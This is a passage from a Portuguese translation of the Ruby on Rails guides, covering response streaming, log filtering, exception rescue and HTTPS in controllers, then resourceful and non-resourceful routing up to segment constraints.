Existem algumas coisas a serem notadas no exemplo acima. Nós precisamos ter certeza de que a resposta da transmissão foi terminada. Esquecer de encerrar a transmissão deixará o socket aberto pra sempre. Nós também precisamos estabelecer o tipo de conteúdo (content_type) para text/event-stream antes de responder a transmissão. Isso é necessário, pois headers não podem ser escritos depois que uma resposta foi enviada (quando response.committed? retorna um valor truthy), que ocorre quando você escreve ou envia (commit) a resposta de uma transmissão.

12.3.2 Exemplo de Uso

Vamos supor que você estivesse criando uma máquina de Karaokê e um usuário quer achar a letra de uma música em particular. Cada música (Song) tem um número específico de linhas e cada linha tem um tempo (num_beats) para terminar de ser cantada.

Se nós quiséssemos retornar as letras no estilo de Karaokê (mandar a linha só quando a linha anterior for terminada de cantar), então poderíamos usar ActionController::Live da seguinte forma:

class LyricsController < ActionController::Base
include ActionController::Live

def show
response.headers['Content-Type'] = 'text/event-stream'
song = Song.find(params[:id])

song.each do |line|
response.stream.write line.lyrics
sleep line.num_beats
end
ensure
response.stream.close
end
end

class LyricsController < ActionController::Base include ActionController::Live def show response.headers['Content-Type'] = 'text/event-stream' song = Song.find(params[:id]) song.each do |line| response.stream.write line.lyrics sleep line.num_beats end ensure response.stream.close end end Copiar

O código acima envia a próxima linha apenas depois que a pessoa cantando completou a linha anterior.

12.3.3 Considerações da Transmissão

Transmitir dados arbitrários é uma ferramenta extremamente poderosa. Como mostrado nos exemplos anteriores, você pode escolher quando e o que enviar na resposta da transmissão. Entretanto, você deveria se atentar aos seguintes pontos:

- Cada transmissão cria uma nova thread e copia sobre as variáveis locais da thread, as variáveis da thread original. Ter muitas variáveis locais em uma thread local pode impactar negativamente na performance. Da mesma forma, um grande número de threads pode também piorar a performance.

- Deixar de encerrar a transmissão deixará o socket correspondente aberto para sempre. Certifique-se de chamar o método close sempre que estiver transmitindo dados.

- Os servidores WEBrick armazena todas as respostas, então apenas incluir no controller ActionController::Live não irá funcionar. Você deve usar um servidor web que não armazene automaticamente as respostas.

13 Filtragem de Log

Rails mantém um arquivo de log pra cada ambiente na pasta log. Eles são bastante úteis quando estamos depurando o que está de fato acontecendo na sua aplicação, porém você pode não querer que sejam salvos todas as informações sejam armazenadas no arquivo de log em uma aplicação ativa.

13.1 Filtrando Parâmetros

Você pode evitar que parâmetros sensíveis da requisição sejam salvos no seu arquivo de log adicionando-os a config.filter_parameters na configuração da aplicação. Esses parâmetros aparecerão como [FILTERED] no arquivo de log.

config.filter_parameters << :password

config.filter_parameters << :password Copiar

Os Parâmetros fornecidos serão filtrados correspondendo parcialmente a uma expressão regular. Rails por padrão adiciona :password no initializer apropriado (initializers/filter_parameter_logging.) e se preocupa com parâmetros típicos da aplicação password e password_confirmation.

13.2 Filtrando Redirecionamentos

Às vezes é desejável que sejam filtrados dos arquivos de log alguns locais sensíveis para os quais sua aplicação está redirecionando. Você pode fazer isso utilizando uma opção de configuração config.filter_redirect:

config.filter_redirect << 's3.amazonaws.com'

config.filter_redirect << 's3.amazonaws.com' Copiar

Você pode utilizar uma String, uma expressão regular ou um array com ambos.

config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]

config.filter_redirect.concat ['s3.amazonaws.com', /private_path/] Copiar

URLs correspondentes com a expressão regular serão marcadas como '[FILTERED]'.

14 Rescue

Muito provavelmente sua aplicação irá conter bugs ou enviar exceções que precisam ser tratadas. Por exemplo, se o usuário acessar um link que não possui uma fonte no banco de dados, o Active Record enviará ActiveRecord::RecordNotFound como exceção.

A exceção padrão do Rails apresenta a mensagem "500 Server Error" para todas as exceções. Se a requisição for feita localmente, um belo traceback e outras informações serão mostradas assim você pode verificar o que deu errado e tratar o problema. Se a requisição for remota o Rails apenas apresentará a mensagem "500 Server Error" para o usuário, ou um "404 Not Found" se houver um erro na rota ou o registro não puder ser encontrado. As vezes você pode querer customizar como esses erros são encontrados e como são apresentados ao usuário. Há diversos níveis de tratamento de excessões disponiveis em uma aplicação Rails:

14.1 Os Templates 404 e 500 Padrão

Por padrão no ambiente de produção a aplicação irá renderizar uma mensagem em um template de erro 404 ou 500. No ambiente de desenvolvimento todas as mensagens de erro são disparadas. Essas mensagens são armazenadas em templates estáticos de HTML na pasta public, em 404.html e 500.html respectivamente. Você pode customizar essas páginas e adicionar algumas estilizações, mas lembre-se elas são HTML estáticos; i.e. você não pode usar ERB, SCSS, CoffeeScript, ou layouts para elas.

14.2 rescue_from

Se você quiser fazer algo mais elaborado quando estiver lidando com erros, você pode usar rescue_from, que trata as exceções de um certo tipo (ou de vários tipos) em um controller inteiro e nas subclasses.

Quando uma exceção acontece e é pega por uma diretiva rescue_from, o objeto da exceção é passado ao handler. O handler pode ser um método ou um objeto Proc passado com a opção :with. Você também pode usar um bloco diretamente ao invés de um objeto Proc.

Aqui está um exemplo de como você pode usar rescue_from para interceptar todos os erros ActiveRecord::RecordNotFound e fazer algo com eles.

class ApplicationController < ActionController::Base
rescue_from ActiveRecord::RecordNotFound, with: :record_not_found

private
def record_not_found
render plain: "404 Not Found", status: 404
end
end

class ApplicationController < ActionController::Base rescue_from ActiveRecord::RecordNotFound, with: :record_not_found private def record_not_found render plain: "404 Not Found", status: 404 end end Copiar

É claro, que este exemplo não é nada elaborado e não melhora muito a forma original de lidar com os erros, mas uma vez que você capture todas essas exceções você é livre para fazer o que quiser com elas. Por exemplo, você pode criar uma exceção personalizada para quando o usuário não tem acesso a uma parte da aplicação:

class ApplicationController < ActionController::Base
rescue_from User::NotAuthorized, with: :user_not_authorized

private
def user_not_authorized
flash[:error] = "You don't have access to this section."
redirect_back(fallback_location: root_path)
end
end

class ClientsController < ApplicationController
# Check that the user has the right authorization to access clients.
before_action :check_authorization

# Note how the actions don't have to worry about all the auth stuff.
def edit
@client = Client.find(params[:id])
end

private
# If the user is not authorized, just throw the exception.
def check_authorization
raise User::NotAuthorized unless current_user.admin?
end
end

class ApplicationController < ActionController::Base rescue_from User::NotAuthorized, with: :user_not_authorized private def user_not_authorized flash[:error] = "You don't have access to this section." redirect_back(fallback_location: root_path) end end class ClientsController < ApplicationController # Check that the user has the right authorization to access clients. before_action :check_authorization # Note how the actions don't have to worry about all the auth stuff. def edit @client = Client.find(params[:id]) end private # If the user is not authorized, just throw the exception. def check_authorization raise User::NotAuthorized unless current_user.admin? end end Copiar

Ao usar rescue_from com Exception ou StandardError pode causar efeitos colaterais já que previne o Rails de lidar com as exceções apropriadamente. Dessa forma, não é recomendado fazer sem uma boa razão.

Quando rodando em ambiente de desenvolvimento, todos os erros ActiveRecord::RecordNotFound renderizam uma página 404. A não ser que você precise de uma forma especifica de tratar isso você não precisa tratar isso.

Certas exceções são tratadas apenas pela classe ApplicationController, já que são acionadas antes do controller ser iniciado a exceção é executada.

15 Forçar protocolo HTTPS

Se você quiser garantir que a comunicação com seu controller seja possível apenas via HTTPS, você deve fazer isso ativando o middleware ActionDispatch::SSL via config.force_ssl na configuração do seu ambiente.

Rotas do Rails de Fora pra Dentro —...

1 O Propósito do Roteador do Rails

O roteador do Rails organiza URLs e as direcionam para uma ação de um controller ou de um aplicativo Rack. Também pode gerar caminhos e URLs, evitando a necessidade de codificar sequências de caracteres em suas visualizações.

1.1 Conectando URLs ao código

Quando sua aplicação Rails recebe uma requisição para:

GET /patients/17

GET /patients/17 Copiar

ela solicita ao roteador que corresponda com uma ação do controller. Se a primeira rota correspondente for:

get '/patients/:id', to: 'patients#show'

get '/patients/:id', to: 'patients#show' Copiar

a requisição é direcionada para o controller patients na ação show com { id: '17' } em params.

O Rails usa snake_case para nomes de controller no roteamento, se você tem um controller com várias palavras como MonsterTrucksController, você deve usar monster_trucks#show, por exemplo.

1.2 Gerando Caminhos e URLs a partir do código

Você também pode gerar caminhos e URLs. Se a rota acima for modificada para ser:

get '/patients/:id', to: 'patients#show', as: 'patient'

get '/patients/:id', to: 'patients#show', as: 'patient' Copiar

e sua aplicação contém esse código no controller:

@patient = Patient.find(params[:id])

@patient = Patient.find(params[:id]) Copiar

e isso na view correspondente:

<%= link_to 'Patient Record', patient_path(@patient) %>

<%= link_to 'Patient Record', patient_path(@patient) %> Copiar

então seu roteador irá gerar o caminho /patients/17. Isso reduz a fragilidade da sua view e faz seu código mais simples de entender. Observe que o id não não precisa ser especificado no helper da rota.

1.3 Configurando o Roteador do Rails

As rotas para sua aplicação ou engine estão dentro do arquivo config/routes.rb e tipicamente se parecem com isso:

Rails.application.routes.draw do
resources :brands, only: [:index, :show] do
resources :products, only: [:index, :show]
end

resource :basket, only: [:show, :update, :destroy]

resolve("Basket") { route_for(:basket) }
end

Rails.application.routes.draw do resources :brands, only: [:index, :show] do resources :products, only: [:index, :show] end resource :basket, only: [:show, :update, :destroy] resolve("Basket") { route_for(:basket) } end Copiar

Como isso é um arquivo padrão do Ruby você pode utilizar de todos os seus recursos para te ajudar a definir suas rotas, porém tenha cautela com nomes de variáveis já que ela pode conflitar com os métodos da DSL do roteador.

O bloco Rails.application.routes.draw do ... end que encapsula suas definições de rotas é necessário para estabelecer o escopo do roteador da DSL e não deve ser deletado.

2 Roteando Resources (Recursos): O padrão do Rails

O roteamento de resources permite que você rapidamente declare todas as rotas comuns para um controller. Uma chamada única para resources pode declarar todas as rotas necessárias para as actions index, show, new, edit, create, update e destroy.

2.1 Resources na Web

Navegadores solicitam páginas do Rails através de uma URL usando um método HTTP específico, como GET,POST, PATCH,PUT e DELETE. Cada método é uma solicitação para executar uma operação no resource. Uma rota de resource mapeia uma série de solicitações relacionadas a actions em um único controller.

Quando sua aplicação Rails recebe uma requisição para:

DELETE /photos/17

DELETE /photos/17 Copiar

ela pede ao roteador para enviar esta requisição para a action no seu respectivo controller. Se a primeira rota encontrada for:

resources :photos

resources :photos Copiar

O Rails enviará esta requisição para a action destroy no controller photos com { id: 17 } no params

2.2 CRUD, Verbos, e Actions

No Rails, uma rota de resources fornece um mapeamento entre verbos HTTP e URLs para actions do controller. Por convenção, cada ação também é mapeada para uma operação específica do CRUD em um banco de dados. Uma única entrada no arquivo de roteamento, como:

resources :photos

resources :photos Copiar

cria sete rotas diferentes rotas em sua aplicação, todas mapeando para o controller Photos:

Verbo HTTP

Path

Controller#Action

Usado para

GET

/photos

photos#index

mostra uma lista de todas as fotos

GET

/photos/new

photos#new

retorna um formulário HTML para criar uma nova foto

POST

/photos

photos#create

cria uma nova foto

GET

/photos/:id

photos#show

mostra uma foto específica

GET

/photos/:id/edit

photos#edit

retorna um formulário HTML para editar uma foto

PATCH/PUT

/photos/:id

photos#update

atualiza uma foto específica

DELETE

/photos/:id

photos#destroy

deleta uma foto específica

Por conta do roteador utilizar os verbos HTTP e a URL para corresponder as requisições de entrada, quatro URLs equivalem a sete actions diferentes.

Rotas de aplicações Rails são combinadas na ordem que são especificadas, portanto, se você tem resources :photos acima de get 'photos/poll', a rota da action show para a linha do resources será correspondida antes da linha get. Para resolver este problema, mova a linha get acima da linha resources, assim a rota será equiparada primeiro.

2.3 Helpers Path e URL

Criando uma rota de resource vai expor um número de helpers para os controllers em sua aplicação. No caso de resources :photos:

- photos_path retorna /photos

- new_photo_path retorna /photos/new

- edit_photo_path(:id) retorna /photos/:id/edit (por exemplo, edit_photo_path(10) retorna /photos/10/edit)

- photo_path(:id) retorna /photos/:id (por exemplo, photo_path(10) retorna /photos/10)

Cada um desses helpers tem um helper _url (assim como photos_url) que retorna o mesmo path prefixado com o host atual, porta e o prefixo do path.

2.4 Definindo Múltiplos Resources ao Mesmo tempo

Se você precisa criar rotas para mais de um resource, você pode salvar um pouco de digitação definindo todos eles em uma única chamada para resources:

resources :photos, :books, :videos

resources :photos, :books, :videos Copiar

Isto funciona exatamente igual a:

resources :photos
resources :books
resources :videos

resources :photos resources :books resources :videos Copiar

2.5 Resources no Singular

Algumas vezes você tem um resource que clientes sempre veem sem referenciar um ID. Por exemplo, você gostaria que /profile sempre mostre o perfil do usuário que esta autenticado. Neste caso, você pode usar um resource no singular para mapear /profile (em vez de /profile/:id) para a action show:

get 'profile', to: 'users#show'

get 'profile', to: 'users#show' Copiar

Passando uma String para to: ira esperar um formato controller#action. Quando usamos um Symbol, a opção to: deveria ser trocada por action:. Quando usamos uma String sem um #, a opção to: deveria ser trocada por controller::

get 'profile', action: :show, controller: 'users'

get 'profile', action: :show, controller: 'users' Copiar

Esta rota resourceful:

resource :geocoder
resolve('Geocoder') { [:geocoder] }

resource :geocoder resolve('Geocoder') { [:geocoder] } Copiar

cria seis rotas diferentes em sua aplicação, todas mapeando para o controller Geocoders:

Verbo HTTP

Path

Controller#Action

Usado para

GET

/geocoder/new

geocoders#new

retorna um formulário HTML para criar o geocoder

POST

/geocoder

geocoders#create

cria o novo geocoder

GET

/geocoder

geocoders#show

mostra o único geocoder resource

GET

/geocoder/edit

geocoders#edit

retorna um formulário HTML para editar o geocoder

PATCH/PUT

/geocoder

geocoders#update

atualiza o único geocoder resource

DELETE

/geocoder

geocoders#destroy

deleta o geocoder resource

Como você pode querer usar o mesmo controller para uma singular route (/account) e uma plural route (/accounts /45), os singular resources são mapeados para os plural controllers. Assim, por exemplo, resource: photo eresources: photos criam rotas singular e plural que são mapeadas para o mesmo controlador (PhotosController).

Uma rota resourceful singular gera estes helpers:

- new_geocoder_path returns /geocoder/new

- edit_geocoder_path returns /geocoder/edit

- geocoder_path returns /geocoder

Assim como com resources no plural, os mesmos helpers que terminam com _url tambem vão incluir o host, porta, e o prefixo do path.

2.6 Controller Namespaces e Routing

Você pode querer organizar grupos de controllers em um namespace. Mais comumente, você pode querer agrupar controllers administrativos sob um namespace Admin::, colocar esses controllers no diretório app/controllers/admin. Você pode agrupar routes como um grupo usando o bloco namespace:

namespace :admin do
resources :articles, :comments
end

namespace :admin do resources :articles, :comments end Copiar

Isto criará um número de rotas para cada controller de articles e comments. Para Admin::ArticlesController, o Rails vai criar:

Verbo HTTP

Path

Controller#Action

Helper de rota nomeado

GET

/admin/articles

admin/articles#index

admin_articles_path

GET

/admin/articles/new

admin/articles#new

new_admin_article_path

POST

/admin/articles

admin/articles#create

admin_articles_path

GET

/admin/articles/:id

admin/articles#show

admin_article_path(:id)

GET

/admin/articles/:id/edit

admin/articles#edit

edit_admin_article_path(:id)

PATCH/PUT

/admin/articles/:id

admin/articles#update

admin_article_path(:id)

DELETE

/admin/articles/:id

admin/articles#destroy

admin_article_path(:id)

Se ao invés você quiser rotear /articles (sem o prefixo /admin) para Admin::ArticlesController, você poderia especificar um module com um bloco scope:

scope module: 'admin' do
resources :articles, :comments
end

scope module: 'admin' do resources :articles, :comments end Copiar

Isso também pode ser feito para uma única rota:

resources :articles, module: 'admin'

resources :articles, module: 'admin' Copiar

Se ao invés você quiser rotear /admin/articles para ArticlesController (Sem o prefixo do modulo Admin::), você poderia especificar o caminho usando um bloco scope:

scope '/admin' do
resources :articles, :comments
end

scope '/admin' do resources :articles, :comments end Copiar

Isso também pode ser feito para uma única rota:

resources :articles, path: '/admin/articles'

resources :articles, path: '/admin/articles' Copiar

Em cada um desses casos, a rota nomeada continua a mesma, como se você não tivesse usado scope. No último exemplo, os paths seguintes mapeiam para ArticlesController:

Verbo HTTP

Path

Controller#Action

Helper de rota nomeado

GET

/admin/articles

articles#index

articles_path

GET

/admin/articles/new

articles#new

new_article_path

POST

/admin/articles

articles#create

articles_path

GET

/admin/articles/:id

articles#show

article_path(:id)

GET

/admin/articles/:id/edit

articles#edit

edit_article_path(:id)

PATCH/PUT

/admin/articles/:id

articles#update

article_path(:id)

DELETE

/admin/articles/:id

articles#destroy

article_path(:id)

Se você precisar usar um namespace de controller diferente dentro de um bloco namespace você pode especificar um path absoluto de controller, e.g: get '/foo', to: '/foo#index'.

2.7 Nested Resources (Recursos Aninhados)

É comum encontrarmos resources que são "filhos" de outros. Por exemplo, supondo que sua aplicação tem esses models:

class Magazine < ApplicationRecord
has_many :ads
end

class Ad < ApplicationRecord
belongs_to :magazine
end

class Magazine < ApplicationRecord has_many :ads end class Ad < ApplicationRecord belongs_to :magazine end Copiar

Nested routes (rotas aninhadas) permitem que você capture este relacionamento no seu roteamento. Neste caso, você poderia incluir esta declaração de rota:

resources :magazines do
resources :ads
end

resources :magazines do resources :ads end Copiar

Em adição das rotas para magazines, esta declaração também adicionará rotas de ads para um AdsContriller. As URLs de ad vão precisar de um magazine:

Verbo HTTP

Path

Controller#Action

Usado para

GET

/magazines/:magazine_id/ads

ads#index

mostra a lista de todos os ads para um magazine específico

GET

/magazines/:magazine_id/ads/new

ads#new

retorna um formulário HTML para a criação de um novo ad pertencente de um magazine específico

POST

/magazines/:magazine_id/ads

ads#create

cria um novo ad pertencente a um magazine específico

GET

/magazines/:magazine_id/ads/:id

ads#show

exibe um ad pertencente a um magazine específico

GET

/magazines/:magazine_id/ads/:id/edit

ads#edit

retorna um formulário HTML para editar um ad pertencente a um magazine específico

PATCH/PUT

/magazines/:magazine_id/ads/:id

ads#update

atualiza um ad específico pertencente a um magazine específico

DELETE

/magazines/:magazine_id/ads/:id

ads#destroy

deleta um ad específico pertencente a um magazine específico

Isto vai também criar routing helpers como magazine_ads_url e edit_magazine_ad_path. Esses helpers pegam uma instância de Magazine como o primeiro parâmetro (magazine_ads_url(@magazine)).

2.7.1 Limites para o Aninhamento

Você pode aninhar resources entre outros resources aninhados se você desejar. Por exemplo:

resources :publishers do
resources :magazines do
resources :photos
end
end

resources :publishers do resources :magazines do resources :photos end end Copiar

Resources profundamente aninhados ficam confusos. Neste caso, por exemplo, a aplicação iria reconhecer paths como:

/publishers/1/magazines/2/photos/3

/publishers/1/magazines/2/photos/3 Copiar

O helper correspondente a essa rota seria publisher_magazine_photo_url, sendo necessário especificar os objetos de todos os três níveis. De fato, esta situação é confusa o bastante que um artigo escrito por Jamis Buck propõe uma regra de ouro para um bom design no Rails:

Resources não devem nunca ser aninhados mais de um nível de profundidade.

2.7.2 Shallow Nesting (Aninhamento raso)

Uma maneira de evitar um aninhamento profundo (como recomendado acima) é gerar uma coleção de actions scoped abaixo de um pai, assim para ter uma sensação de hierarquia, mas não aninhar as actions do membro. Em outras palavras. para apenas construir routes com o mínimo de informação para identificar unicamente o recurso, como isto:

resources :articles do
resources :comments, only: [:index, :new, :create]
end
resources :comments, only: [:show, :edit, :update, :destroy]

resources :articles do resources :comments, only: [:index, :new, :create] end resources :comments, only: [:show, :edit, :update, :destroy] Copiar

Essa ideia encontra um equilíbrio entre rotas descritivas e aninhamento profundo. Existe uma sintaxe abreviada para conseguir exatamente isso, via a opção :shallow:

resources :articles do
resources :comments, shallow: true
end

resources :articles do resources :comments, shallow: true end Copiar

Isso vai gerar as mesmas rotas do primeiro exemplo, Você pode também especificar a opção :shallow no seu resource pai, em cada caso todos os resources aninhados serão rasos:

resources :articles, shallow: true do
resources :comments
resources :quotes
resources :drafts
end

resources :articles, shallow: true do resources :comments resources :quotes resources :drafts end Copiar

O método shallow do DSL cria um scope em que todos os aninhamentos são rasos. Isso gera as mesmas rotas que o exemplo anterior:

shallow do
resources :articles do
resources :comments
resources :quotes
resources :drafts
end
end

shallow do resources :articles do resources :comments resources :quotes resources :drafts end end Copiar

Existem duas opções no scope para customizar shallow routes. :shallow_path prefixa seus paths membros com o parâmetro especificado:

scope shallow_path: "sekret" do
resources :articles do
resources :comments, shallow: true
end
end

scope shallow_path: "sekret" do resources :articles do resources :comments, shallow: true end end Copiar

O resource comments aqui terá gerado as seguintes rotas para si:

HTTP Verb

Path

Controller#Action

Helper de rota nomeado

GET

/articles/:article_id/comments(.:format)

comments#index

article_comments_path

POST

/articles/:article_id/comments(.:format)

comments#create

article_comments_path

GET

/articles/:article_id/comments/new(.:format)

comments#new

new_article_comment_path

GET

/sekret/comments/:id/edit(.:format)

comments#edit

edit_comment_path

GET

/sekret/comments/:id(.:format)

comments#show

comment_path

PATCH/PUT

/sekret/comments/:id(.:format)

comments#update

comment_path

DELETE

/sekret/comments/:id(.:format)

comments#destroy

comment_path

A opção :shallow_prefix adiciona o parÂmetro especificado para os helpers da rota nomeada:

scope shallow_prefix: "sekret" do
resources :articles do
resources :comments, shallow: true
end
end

scope shallow_prefix: "sekret" do resources :articles do resources :comments, shallow: true end end Copiar

O resource comments aqui terá gerado as seguintes rotas para si:

HTTP Verb

Path

Controller#Action

Helper de rota nomeado

GET

/articles/:article_id/comments(.:format)

comments#index

article_comments_path

POST

/articles/:article_id/comments(.:format)

comments#create

article_comments_path

GET

/articles/:article_id/comments/new(.:format)

comments#new

new_article_comment_path

GET

/comments/:id/edit(.:format)

comments#edit

edit_sekret_comment_path

GET

/comments/:id(.:format)

comments#show

sekret_comment_path

PATCH/PUT

/comments/:id(.:format)

comments#update

sekret_comment_path

DELETE

/comments/:id(.:format)

comments#destroy

sekret_comment_path

2.8 Roteamento com método Concerns

Roteamento com método concerns permitem você declarar rotas comuns que podem ser reutilizadas dentro de outros resources e rotas. Para definir um concern, use um bloco concern:

concern :commentable do
resources :comments
end

concern :image_attachable do
resources :images, only: :index
end

concern :commentable do resources :comments end concern :image_attachable do resources :images, only: :index end Copiar

Estes concerns podem ser usados em resources para evitar duplicação de códigos e compartilhar o mesmo comportamento por entre as rotas:

resources :messages, concerns: :commentable

resources :articles, concerns: [:commentable, :image_attachable]

resources :messages, concerns: :commentable resources :articles, concerns: [:commentable, :image_attachable] Copiar

O exemplo acima é equivalente a:

resources :messages do
resources :comments
end

resources :articles do
resources :comments
resources :images, only: :index
end

resources :messages do resources :comments end resources :articles do resources :comments resources :images, only: :index end Copiar

Além disso você pode usá-los em qualquer lugar que você quiser chamando concerns. Por exemplo, em um bloco de scope ou namespace:

namespace :articles do
concerns :commentable
end

namespace :articles do concerns :commentable end Copiar

2.9 Criando Paths e URLs de Objetos

Além de usarmos os helpers de roteamento, o Rails pode também criar paths e URLs de um array de parâmetros. Por exemplo, imagine que você tem este grupo de rotas:

resources :magazines do
resources :ads
end

resources :magazines do resources :ads end Copiar

Enquanto estiver usando magazine_ad_path, você pode passar as instâncias de Magazine e Ad em contrapartida a IDs numéricos:

<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>

<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %> Copiar

Você pode também usar url_for com um grupo de objetos, e o Rails vai automaticamente determinar qual rota você quer:

<%= link_to 'Ad details', url_for([@magazine, @ad]) %>

<%= link_to 'Ad details', url_for([@magazine, @ad]) %> Copiar

Neste caso, o Rails verá que @magazine é um Magazine e @ad é um Ad e vai portanto usar o helper magazine_ad_path. em helpers como link_to, você pode especificar apenas o objeto no lugar da chamada url_for inteira:

<%= link_to 'Ad details', [@magazine, @ad] %>

<%= link_to 'Ad details', [@magazine, @ad] %> Copiar

Se você queria apenas o link da magazine:

<%= link_to 'Magazine details', @magazine %>

<%= link_to 'Magazine details', @magazine %> Copiar

Para outras actions, você apenas precisa inserir o nome desta action como o primeiro elemento deste array:

<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>

<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %> Copiar

Isto permite você tratar instâncias de seus models como URLs, e é uma vantagem chave de usar o estilo resourceful.

2.10 Adicionando mais RESTful Actions

Você não esta limitado as sete rotas que o RESTful routing cria por padrão. Se você quiser, pode criar rotas adicionais que aplicam a uma coleção ou membros individuais da coleção.

2.10.1 Adicionando Rotas de Membros

Para adicionar uma rota para um membro, apenas adicione um bloco member em um bloco de resource:

resources :photos do
member do
get 'preview'
end
end

resources :photos do member do get 'preview' end end Copiar

Isso vai reconhecer /photos/1/preview com GET, e rotear para a action preview de PhotosController, com o valor do resource id passado em params[:id]. Isso vai tambem criar os helpers preview_photo_url e preview_photo_path.

Dentro do bloco de rotas para membros, cada nome de rota especifica o verbo HTTP que vai ser reconhecido. Você pode usar get, patch, put, post ou delete aqui. Se você não tiver múltiplas rotas para membros, você pode também passar :on para a rota, eliminando o bloco:

resources :photos do
get 'preview', on: :member
end

resources :photos do get 'preview', on: :member end Copiar

Você pode deixar fora a opção :on, isso vai criar o mesmo member route exceto que o valor do resource id estará disponível em params[:photo_id] ao invés de params[:id]. Helpers de rota tambem serão renomeados de preview_photo_url para photo_preview_url e photo_preview_path.

2.10.2 Adicionando Collection Routes

Para adicionar uma rota para uma coleção, use um bloco collection:

resources :photos do
collection do
get 'search'
end
end

resources :photos do collection do get 'search' end end Copiar

Isto vai permitir que o Rails reconheça paths como /photos/search com GET, e a rota para a action search do PhotosController. Isto também criará os helpers search_photos_url e search_photos_path.

Assim como em member routes, você pode passar :on para uma rota:

resources :photos do
get 'search', on: :collection
end

resources :photos do get 'search', on: :collection end Copiar

Se vocês estão definindo rotas de resource adicionais com um symbol como o primeiro argumento posicional, tenha em mente que não é igual a usar uma string. Symbols inferem actions do controller enquanto strings inferem paths.

2.10.3 Adicionando Rotas para Novas Actions Adicionais

Para adicionar uma action alternativa nova usando o atalho :on:

resources :comments do
get 'preview', on: :new
end

resources :comments do get 'preview', on: :new end Copiar

Isto vai permitir que o Rails reconheça paths como /comments/new/preview com GET, e rotear para a action preview do CommentesController. Isto também vai criar os helpers preview_new_comment_url e preview_new_comment_path.

Se você se encontrar adicionando muitas actions extras para uma rota resourceful, é um bom momento para perguntar a si mesmo se você está mascarando a presença de outro resource.

3 Rotas sem uso de Resources

Além do roteamento de resources, o Rails possui um suporte poderoso para rotear URLs arbitrárias para actions. Aqui, você não obtém grupos de rotas gerados automaticamente pelo roteamento de resources. Em vez disso, você configura cada rota separadamente na sua aplicação.

Embora você geralmente deva usar roteamento com resources, ainda existem muitos lugares em que o roteamento mais simples é mais apropriado. Não é necessário tentar encaixar todas as partes do seu aplicativo em uma estrutura de resources se isso não for um bom ajuste.

Em particular, o roteamento simples facilita o mapeamento de URLs herdados para novas actions do Rails.

3.1 Parâmetros Vinculados

Ao configurar uma rota regular, você fornece uma série de symbols que o Rails mapeia para partes de uma requisição HTTP chegando na aplicação. Por exemplo, considere esta rota:

get 'photos(/:id)', to: 'photos#display'

get 'photos(/:id)', to: 'photos#display' Copiar

Se uma requisição para /photos/1 for processada por esta rota (porque não corresponde a nenhuma rota anterior no arquivo), o resultado será invocar a action display do PhotosController, e tornar o parâmetro final "1" disponível como params[:id]. Esta rota também encaminhará uma requisição recebida de /photos para PhotosController#display, pois :id é um parâmetro opcional, indicado por parênteses.

3.2 Segmentos Dinâmicos

Você pode configurar quantos segmentos dinâmicos em uma rota regular desejar. Qualquer segmento estará disponível para a action como parte de params. Se você configurar esta rota:

get 'photos/:id/:user_id', to: 'photos#show'

get 'photos/:id/:user_id', to: 'photos#show' Copiar

Uma requisição para o endereço /photos/1/2 será enviada para a action show do PhotosController. params[:id] será "1" e params[:user_id] será "2".

Por padrão, os segmentos dinâmicos não aceitam pontos - isso ocorre porque o ponto é usado como um separador para rotas formatadas. Se você precisar usar um ponto em um segmento dinâmico, adicione uma restrição que o substitua - por exemplo, id: /[^\/]+/ permite qualquer coisa, exceto uma barra.

3.3 Segmentos Estáticos

Você pode especificar segmentos estáticos ao criar uma rota somente não acrescentando dois pontos a um segmento:

get 'photos/:id/with_user/:user_id', to: 'photos#show'

get 'photos/:id/with_user/:user_id', to: 'photos#show' Copiar

Esta rota responderia a caminhos como /photos/1/with_user/2. Nesse caso, params seria { controller: 'photos', action: 'show', id: '1', user_id: '2' }.

3.4 Usando Query String

Os params também incluirão quaisquer parâmetros da query string. Por exemplo, com esta rota:

get 'photos/:id', to: 'photos#show'

get 'photos/:id', to: 'photos#show' Copiar

Uma requisição para o caminho /photos/1?user_id=2 será enviada para a action show do controller Photos. params será { controller: 'photos', action: 'show', id: '1', user_id: '2' }.

3.5 Definindo Padrões

Você pode definir padrões em uma rota fornecendo um hash para a opção :defaults. Isso também se aplica a parâmetros que você não especifica como segmentos dinâmicos. Por exemplo:

get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }

get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' } Copiar

O Rails corresponderia photos/12 com a action show do PhotosController e definiria params[:format] como "jpg".

Você também pode usar defaults em um formato de bloco para definir os padrões para múltiplos itens:

defaults format: :json do
resources :photos
end

defaults format: :json do resources :photos end Copiar

Você não pode substituir os padrões via query parameters por motivos de segurança. Os únicos padrões que podem ser substituídos são segmentos dinâmicos via substituição no caminho da URL.

3.6 Nomeando Rotas

Você pode especificar um nome para qualquer rota usando a opção :as:

get 'exit', to: 'sessions#destroy', as: :logout

get 'exit', to: 'sessions#destroy', as: :logout Copiar

Isso criará logout_path e logout_url como helpers de rota em sua aplicação. Chamar logout_path retornará /exit.

Você também pode usar isso para substituir os métodos de roteamento definidos pelos resources usando rotas customizadas antes do resource ser definido, da seguinte forma:

get ':username', to: 'users#show', as: :user
resources :users

get ':username', to: 'users#show', as: :user resources :users Copiar

Isso definirá um método user_path que estará disponível em controllers, helpers e views que irão para uma rota como /bob. Dentro da action show do UsersController, params[:username] conterá o nome do usuário. Altere :username na definição da rota se você não quiser que o nome do seu parâmetro seja :username.

3.7 Restringindo Verbos HTTP

Em geral, você deve usar os métodos get, post, put, patch e delete para restringir uma rota a um verbo específico. Você pode usar o método match com a opção :via para combinar vários verbos ao mesmo tempo:

match 'photos', to: 'photos#show', via: [:get, :post]

match 'photos', to: 'photos#show', via: [:get, :post] Copiar

Você pode combinar todos os verbos em uma rota específica usando via: :all:

match 'photos', to: 'photos#show', via: :all

match 'photos', to: 'photos#show', via: :all Copiar

Rotear solicitações GET e POST para uma única action tem implicações de segurança. Em geral, você deve evitar rotear todos os verbos para uma action, a menos que tenha um bom motivo.

GET no Rails não verificará o token CSRF. Você nunca deve escrever no banco de dados a partir de solicitações GET, para obter mais informações, consulte o guia de segurança para contramedidas CSRF.

3.8 Restrições de Segmento

Você pode usar a opção :constraints para impor um formato para um segmento dinâmico:

get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }

